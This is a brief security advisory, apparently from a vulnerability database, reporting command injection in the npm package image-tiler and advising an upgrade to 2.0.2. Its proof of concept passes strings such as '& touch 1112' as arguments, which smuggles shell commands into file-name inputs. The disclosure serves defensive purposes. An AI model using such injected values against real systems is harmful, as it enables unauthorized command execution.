Upgrade image-tiler to version 2.0.2 or higher.
Overview
image-tiler is a package that creates zoom tile pyramids from a large image. There are other packages very similar to this one, but none did exactly what I needed, so I made mine.
Affected versions of this package are vulnerable to Command Injection.
PoC
var tile = require("image-tiler").tile;
var tilePromise = tile("& touch 1112","& touch 222","& touch 33",{invertZoom:true});
